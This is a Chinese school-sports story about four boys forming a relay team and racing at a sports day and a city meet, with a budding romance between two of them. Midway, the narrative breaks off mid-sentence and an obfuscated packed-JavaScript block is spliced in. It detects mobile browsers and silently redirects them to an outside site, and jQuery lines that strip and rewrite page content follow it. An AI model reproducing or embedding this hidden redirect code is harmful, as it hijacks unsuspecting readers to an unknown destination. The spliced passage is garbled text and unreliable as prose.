(一.运动会）
秋意未褪，冬风初至，校园里的银杏树已褪去金黄，枝头零星挂着几片枯叶，仿佛在等待一场盛大的
告别。
运动会前夕，袁伟嘉攥着报名表，指尖在“接力赛”三个字上反复摩挲，他向弈辰说：“辰哥，你陪我报名接力呗。”弈辰瞥了一眼他：“为什么叫我，你野哥呢？”闻时野笑笑：“小学霸第一次叫哥居然是为了推卸“责任”？”弈辰：“无语的看着他，什么时候了还调戏人...袁伟嘉苦笑不得：“俩位大哥，别在这里大情骂俏了，好吗？”
弈辰：“滚。”
闻时野：“不要。”
俩人一口同声的说，闻时野看了看弈辰嘴角怎么也压不下去，弈辰咳了咳别过了头，袁伟嘉提议：“要不叫上孙昊？凑够4个人。”闻时野赞成的说：“交给你了同志，为了我们班，说服任务交给你了。”
袁伟嘉：“......”
四人组队的过程并不顺利。孙昊盯着报名表，指尖在“接力赛”三字上停顿许久，最终冷冷吐出三个
字：“没兴趣。”袁伟嘉急得涨红了脸，哭出几滴眼泪：“孙昊，你明明跑得那么快，为什么啊？”话音未落，闻时野开口：“我记得上次你因为家里有事错过了事赛，从而失去了去体校的资格，而且功课落下了很多，你说我说的对不对？”孙昊瞳孔猛地收缩，惊讶的说：“你怎么知道...”弈辰则将一叠数学笔记推到孙昊面前，声音依旧清冷：“你落下的三角函数部分的推导，我补全了。”孙昊愣住，指尖无意识地摩挲着笔记边缘，喉结滚动着咽下一声叹息，最终在报名表上签下了名字。袁伟嘉在一旁给他们点赞：“辰哥，野哥好会“贿赂”人啊！要不你们贿赂贿赂一下我呗。我现在对接力没兴趣了。”弈辰活动了一下手腕说：“你不用贿赂打一顿就好了。”袁伟嘉听后跑走了，闻时野在旁边笑：“学霸脾气不好啊，和气生财啊。不要生气了，请你吃瓜子。”弈辰翻个白眼说：“要你管啊。”闻时野轻笑道：“你开心就好了，来伸手。”弈辰疑惑的伸手，闻时野把几颗瓜子放在他的手掌心，闻时野笑笑：“给你。”随便在他的手掌心挠了挠，弈辰故作高冷的转身离开，在闻时野看来是小猫害羞的落荒而逃了，他在后面没心没肺的笑。
训练第一天，操场寒风刺骨。袁伟嘉穿着单薄的运动衫，在起跑线前反复练习交接棒。他总因紧张而
手抖，接力棒在指尖打滑，摔在地上发出清脆的声响。袁伟嘉哭着说：”野哥不行了不行了。我不干了！为什么我也要上场啊！”闻时野倚在跑道旁的栏杆上，指尖把玩着一枚银杏叶挂坠，阳光在他睫毛上镀了金边：“真男人从来不说不行，你是男人吗？”袁伟嘉气得跳脚，却又在下一秒被弈辰冷声打断：“别吵，看他的摆臂角度。”弈辰单膝跪地，指尖点在袁伟嘉肘关节处：“抬高五度，手臂不要绷得太紧。”袁伟嘉怔了怔，按照弈辰的指导调整姿势，接力棒竟真的稳稳落入孙昊掌心。袁伟嘉崇拜的看着弈辰：“野哥你看看辰哥还教我嘞！”弈辰冷冷的看了眼他：“闭嘴。”袁伟嘉只好老老实实的继续去练习了，闻时野突然凑近弈辰低声的说：“我很小气的。”弈辰疑惑的看着闻时野，闻时野继续说：“什么时候小学霸能教教我啊？”温热的气息在弈辰耳边环绕，撩的弈辰耳根微红：“胡闹！”弈辰假装自己很，匆匆的走了。闻时野看着他的背影嘴角一直压不下来。
训练第七天，意外突然降临。孙昊在模拟接力时因旧伤复发，膝盖重重磕在跑道上，鲜血顺着裤管蜿
蜒而下。袁伟嘉冲过去搀扶他，声音发颤：“孙昊，你怎么样？”孙昊咬牙摇头，却因剧痛额角沁出冷
汗。闻时野立刻掏出手机联系校医，弈辰则蹲下身，指尖轻按他膝盖周围的穴位：“忍一下，错位不严
重。”他的声音罕见地带着一丝温度，孙昊愣住，喉结滚动着咽下一声叹息。袁伟嘉攥紧拳头，指甲在
掌心掐出月牙形的白痕，他望着远处空荡荡的第三棒位置，忽然转身看向闻时野：“野哥，我来替补第三棒吧，让孙昊去最后一棒吧。”闻时野挑眉，薄荷糖在唇齿间发出清脆的声响：“你确定？第三棒很难，要全力冲刺，你从来没练过。”袁伟嘉抿唇，目光坚定：“总得有人顶上，不是吗？”弈辰惊讶的看着他，那眼神向是在说：你发什么神经？还中二病？袁伟嘉很想说：哥，眼神太明显了，我能不能打你啊？闻时野把弈辰拉走防止袁伟嘉“造反”伤到他的小学霸。
替补训练从第二天开始。袁伟嘉在弯道处反复跌倒，膝盖擦破的伤口渗出血珠。他咬着牙一次次爬起，汗水混着泥土沾满衣襟。闻时野将矿泉水递到他嘴边，指尖擦过他手背的汗渍：“逞强可不是真男人的表现。”袁伟嘉灌下一口水，呛得咳嗽，却仍倔强地摇头：“我……我可以的。”弈辰则默默调整战术，将最后棒的弯道角度分解，用粉笔在跑道上画出精准的标记。
运动会当天，天空飘着细密的秋雨。袁伟嘉攥着接力棒站在起跑线前，手心沁出的汗渍洇湿了掌心。
他望着远处闻时野、弈辰和孙昊的背影，心跳骤然加快。枪声划破空气的瞬间，闻时野如离弦之箭冲了
出去，雨滴在他发梢飞溅成晶莹的碎光。第二棒弈辰接过接力棒，弯道处的身影如猎豹般凌厉，银叶挂
坠在颈间轻轻晃动。当袁伟嘉从闻时野手中接过接力棒时，膝盖旧伤处传来一阵刺痛，他咬牙冲刺，却因弯道角度判断失误，接力棒竟在交接时脱手而出！
“砰！”接力棒摔在湿漉漉的跑道上，溅起一片水花。袁伟嘉大脑空白，耳畔传来此起彼伏的惊呼
声。他崩溃地抓挠头发，发梢在雨水中凌乱地蹭出几道黑痕：“完了……”却在余光瞥见闻时野狂奔而
来的身影。闻时野单膝跪地，指尖迅速捡起接力棒，声音低醇如酒：“弯道切线角度偏差17度，下次注
意，还有你这样一点都不男人啊。”袁伟嘉怔住，望着闻时野被雨水打湿的鬓角，心底涌起一股暖流。他深吸一口气，调整步伐，竟真的在弯道处找到了新的节奏。雨幕中，他的身影如一道破风的箭矢，接力棒在掌心稳稳传递。
最后一棒孙昊接过接力棒，膝盖的旧伤隐隐作痛，他却咬牙爆发出惊人的速度。看台上爆发出雷鸣般
掌声，雨声、呐喊声、脚步声交织成一片。当孙昊冲过终点线的瞬间，计时器定格在第二名——仅以
0.3秒之差落后于隔壁班。袁伟嘉瘫坐在跑道上，大口喘着粗气，雨水顺着发梢滴落，他却笑得灿烂。
闻时野忽然伸手，指尖轻轻擦过他手背的汗渍：“这次‘人形警报器’发挥超常。”袁伟嘉眼眶一热，
正要开口，却被弈辰抢先截住话头：“不过，还是很差。”袁伟嘉笑嘻嘻的说：“辰哥，别表扬人也别
扭啊。”弈辰敲了一下他的脑袋以示警告。闻时野撇撇嘴扯过弈辰的手：“你打我，不许打他。”袁伟嘉和孙昊一脸看好戏的样子在旁边“啧啧有声”。弈辰撸起袖子威胁道：“你确定？”闻时野靠近：“当然是不想你打别人只打我啊，不过可不能“谋杀亲夫”啊。”弈辰被气的追着闻时野跑，还“谋杀亲夫”去死吧！
夕阳的余晖将操场染成琥珀色，袁伟嘉瘫坐在跑道旁，指尖还残留着接力棒的触感。远处，孙昊一瘸一拐地走过来，刚刚发现自己脚出血去了一趟医护室。袁伟嘉看到他一瘸一拐的走过来愧疚不已，猛地起身，攥住他的胳膊：“孙昊，对不起……如果我当时没失误……”声音带着颤抖，仿佛要将所有的自责倾泻而出。
孙昊却忽然停下，转头时嘴角扬起久违的弧度。他望着远处正低头擦拭银杏叶挂坠的闻时野，目光掠
过弈辰递来的那叠笔记，声音轻得像飘散的雨丝：“你以为那0.3秒是因为你？其实是我最后冲刺时，
想起了弈辰笔记里画的抛物线轨迹。”他顿了顿，喉结滚动着咽下一声叹息，“还有野哥说的，接力赛
不是一个人的狂奔，而是四道轨迹的交汇。虽然没有拿第一，但是我很开心。”夕阳的金芒穿透云层，将四人的影子长长地投在跑道上，
交叠、融合，像四条永不分离的抛物线。
在颁奖台上，四人并肩而立。校长将银质奖牌逐一挂在他们胸前，金属触碰到皮肤的刹那，袁伟嘉听
见自己剧烈的心跳声。校长拍了拍他的肩膀：“袁伟嘉同学，从数学竞赛到运动会，你的成长令人惊
叹。”台下响起掌声，袁伟嘉抬头，正对上闻时野带着笑意的眼眸，而弈辰虽未直视他，却悄悄将手中
的银杏叶塞进了他的口袋。
夜幕降临时，四人相约在天台庆祝。袁伟嘉抱着从便利店买来的汽水和零食，推开门却见闻时野和弈
辰并肩倚在栏杆边，夜风将他们的衣角吹得轻轻晃动。闻时野指尖转着那枚银杏叶挂坠，月光在叶片上
流淌，他忽然开口：“其实，我当初提议组队时，最怕的就是你拖后腿。”袁伟嘉愣住，闻时野却又轻
笑一声：“不过现在嘛……你倒是成了我们最意外的惊喜。”弈辰难得地露出笑容。袁伟嘉说：“辰哥
那就应该是多笑笑，你看多有杀伤力啊！”闻时野挑眉看着弈辰悄悄凑到他耳边说：“嗯，多笑笑。不
过——只对我笑，好吗。”弈辰耳尖微红回答他：“看表现。”弈辰说完后别扭的不看他，闻时野则是
看着他笑。旁边的袁伟嘉二人看看双方，默契的离撒狗粮的人远点。
“喂，你们看！”袁伟嘉突然指向远处。操场边的银杏树在月光下静静伫立，枝头最后一片枯叶在风
中簌簌飘落，恍如他们集训时窗外的光景。四人相视而笑，袁伟嘉忽然从口袋掏出那枚银杏叶挂坠，银
叶在夜风中轻轻摇晃：“你们看，这个幸运符果然灵验。”闻时野伸手接住叶片，指尖与袁伟嘉相碰的
瞬间，他感觉掌心传来一阵微妙的温热。四人并肩而立，仿佛一道无形的纽带将他们紧紧相连，而头顶
的星空，正悄然为他们的未来写下新的篇章。
次日清晨，袁伟嘉踏进教室时，发现孙昊的座位空着。他心头一紧，正要询问，却见弈辰将一叠笔记
轻轻放在孙昊的课桌上，封面用铅笔写着：“康复训练计划——力学角度分析”。闻时野倚在窗边，指
尖把玩着那枚银杏叶挂坠，阳光在他睫毛上镀了金边：“校医说孙昊的膝盖需要静养两周，但康复训练
不能停。”他的声音罕见地少了调侃，多了几分郑重，“咱们得帮他补上落下的课程，顺便……把抛物
线轨迹讲透。”
袁伟嘉抿了抿唇，攥紧书包带子。他想起昨夜辗转难眠时，脑海中反复浮现孙昊冲刺时咬牙的模样，
想起他签下报名表时指尖的颤动。此刻，他忽然明白：接力赛的终点线不是故事的终结，而是另一段轨迹的开始。
午休时分，四人聚集在医务室旁的空教室。孙昊的膝盖被支具固定着，却仍坚持将课本摊在腿上。弈
辰用粉笔在黑板上画出精确的抛物线轨迹，指尖点在坐标轴上：“冲刺时的重心偏移角度需要控制在
15°以内，膝盖承受的压力会减少30%。”他的声音依旧清冷，但讲解每个公式时，都会特意放慢语
速，用最简明的语言拆分步骤。袁伟嘉则蹲在孙昊身边，将课堂笔记一字一句地复述，偶尔笨拙地比划
动作，惹得孙昊忍俊不禁，嘴角的弧度渐渐融化了他惯常的疏离。
闻时野始终倚在门框旁，瓜子在唇齿间发出清脆的声响。他忽然抛给孙昊一袋暖贴：“陈医生说，热
敷能缓解韧带炎症。”孙昊接住时，感谢的看着闻时野，闻时野笑笑：“别这么看着我，不然我家小学霸会吃醋的。”弈辰生气的含了一声：“闻！时！野！”去你的吃醋！闻时野挑挑眉仿佛在说：你看，吃醋了。
两周后的清晨，孙昊终于摘下支具，拄着拐杖回到教室。袁伟嘉立刻冲上前搀扶，却被孙昊笑着推
开：“我又不是残障人士。”他的声音带着几分调侃。弈辰将新修改的训练计划递
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488144|185732||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给他，封面上多了
一行小字：“新增关节灵活性训练——配合三角函数推导”。孙昊翻开笔记，发现每页空白处都画着受
力分析图，精确的线条与公式交织，仿佛将他的伤痛拆解成可被征服的数字。
集训重新开始，四人默契愈发深厚。袁伟嘉在弯道处反复练习交接棒，闻时野总会站在终点线，指尖捏着一枚瓜子：“记住，交接瞬间的加速度要控制在2.5m/s?，否则惯性会导致脱棒。”他的声音低醇如酒，却带着不容置疑的笃定。弈辰则用激光测距仪记录每次交接的角度偏差，数据精确到小数点后两
位。孙昊虽无法全力奔跑，却成了最严苛的“战术顾问”，每当袁伟嘉动作变形，他总会冷声指出：
“肘关节抬高3度，摆臂频率加快0.2Hz。”
雨后的操场弥漫着潮湿的气息，袁伟嘉在第三棒弯道处跌倒，膝盖擦破的伤口渗出血珠。他咬牙爬起
时孙昊忽然拄着拐杖走近，将碘酒和棉签递到他面前：“伤口处理要彻底，否则感染会影响恢复。”
他的动作带着生疏的温柔，袁伟嘉怔了怔，接过棉签时，指尖触到孙昊微凉的掌心。那一刻，他仿佛看
见孤狼终于卸下防备，露出了柔软的腹部。
夜晚自习室，袁伟嘉盯着三角函数公式发怔。他转头看向弈辰，发现对方正专注推导抛物线轨迹的微
分方程，侧脸的轮廓在台灯下显得格外柔和。窗外飘来银杏叶的沙沙声，袁伟嘉忽然开口：“辰哥，
你……为什么总是用数学解释运动？”弈辰笔尖顿了顿，声音依旧清冷，却多了一丝温度：“因为所有
看似无序的运动，都有可被计算的规律。就像我们四个人，看似不同的轨迹，却能交汇成完美的接
力。”
(二.市赛）
运动会后的周末，校田径队邀请四人参加集训，备战下个月的市赛。孙昊的膝盖已恢复大半，奔跑时
虽仍有隐忍，却咬牙坚持着。袁伟嘉在训练中逐渐掌握了弯道技巧，交接棒的成功率大幅提升。闻时野
总在休息时掏出手机，拍摄四人奔跑时的轨迹，然后将照片合成动态图，分析每个人的节奏差异。弈辰
则用数学模型优化接力顺序，将四人的生物力学数据输入电脑，模拟出最佳交接时机。
集训最后一天，夕阳将操场染成橘红色。四人完成最后一次模拟接力，计时器定格在57.8秒——比市赛
记录仅差0.5秒。孙昊瘫坐在跑道上，大口喘着粗气，却笑得格外灿烂。袁伟嘉望着他额角的汗珠，忽
然想起两个月前攥着报名表颤抖的自己，想起闻时野抛来的几枚瓜子，想起弈辰跪地指导时专注的侧
脸。此刻，四人的笑声交织在暮色中，仿佛编织成一张无形的网，将所有的汗水、伤痛与成长紧紧缠
绕。
市赛当天，天空湛蓝如洗。
袁伟嘉站在起跑线前，手心沁出的汗渍洇湿了掌心。他望着远处闻时野、弈辰和孙昊的背影，心跳如
擂鼓。枪声划破空气的瞬间，闻时野如离弦之箭冲了出去，阳光在他发梢飞溅成碎金。第二棒弈辰接过
接力棒，弯道处的身影如猎豹般凌厉，银叶挂坠在颈间轻轻晃动。当袁伟嘉从孙昊手中接过接力棒时，
他深吸一口气，将脑海中弈辰讲解的抛物线轨迹具象成脚下的跑道，膝盖旧伤处传来的刺痛仿佛被信念
灼烧殆尽。
最后一棒孙昊接过接力棒，看台上爆发出雷鸣般的掌声。他咬牙冲刺，膝盖的旧伤在奔跑中隐隐作
痛，却化作一股奇异的动力。他的目光紧紧锁定终点线，脑海中浮现出弈辰笔记里的受力分析图，浮现
出闻时野那句“四道轨迹的交汇”。当他的身影掠过终点线的刹那，计时器定格在57.3秒——市赛新纪
录！
欢呼声如海啸般席卷全场，袁伟嘉瘫倒在跑道上，汗水混着泪水滚落。闻时野冲过来将他拽起，指尖
擦过他脸上的湿痕：“这次可不是‘人形警报器’，是‘人形火箭炮’！”袁伟嘉得意的笑，转头却见
孙昊正被记者团团围住，他咬牙坚持的笑容透过人群传来，竟比阳光更耀眼。弈辰默默走到四人中间，
将一叠新的笔记递给孙昊：“下一阶段的训练计划，新增了核心肌群强化模块。”孙昊翻开笔记，发现
扉页上赫然写着：“致我们的抛物线团队——轨迹永续，并肩不息。”
市赛的颁奖典礼上，四人并肩站在领奖台。孙昊的膝盖仍贴着膏药，却挺直腰背，目光灼灼。当金牌挂上颈间的瞬间，袁伟嘉忽然感觉掌心一凉——是闻时野将几枚新的瓜子塞进他手心。他望向身旁的三道身影：闻时野指尖把玩着银杏叶挂坠，弈辰低头擦拭眼镜，孙昊正对着镜头露出久违的爽朗笑容。这一刻，他忽然明白：接力赛的终点从来不是荣耀，而是四道轨迹交汇时迸发的光，足以照亮彼此未来的所有跑道。
寒假前夕，四人相约在校园的银杏树下。落叶如金箔般铺满地面，闻时野将挂坠系在最高的枝桠：
“等明年秋天，这棵树会更繁茂。”孙昊倚着树干，膝盖已无大碍，他望着远处操场，声音带着感慨：
“以前总觉得自己是独行者，现在才懂，四道轨迹比一条直线更有力量。”袁伟嘉将一枚薄荷糖分给众
人，糖纸在风中轻轻飘落，他转头看向弈辰：“下学期运动会，我们还组队吗？”弈辰声音清冷，眼底
却漾着笑意：“只要抛物线还在，轨迹就永远不会散。”
夕阳将四人的影子拉长，交叠在满地金黄之上。他们并肩走向校门，仿佛四道永不分离的抛物线，向
着未知的远方延伸。袁伟嘉攥着掌心的瓜子，忽然想起秋意未褪时，银杏树零星挂着枯叶的模样。原
来，那场等待的盛大告别，早已在并肩奔跑中悄然完成——有些故事不必落幕，因为轨迹交汇处，永远
有新的起点在等待。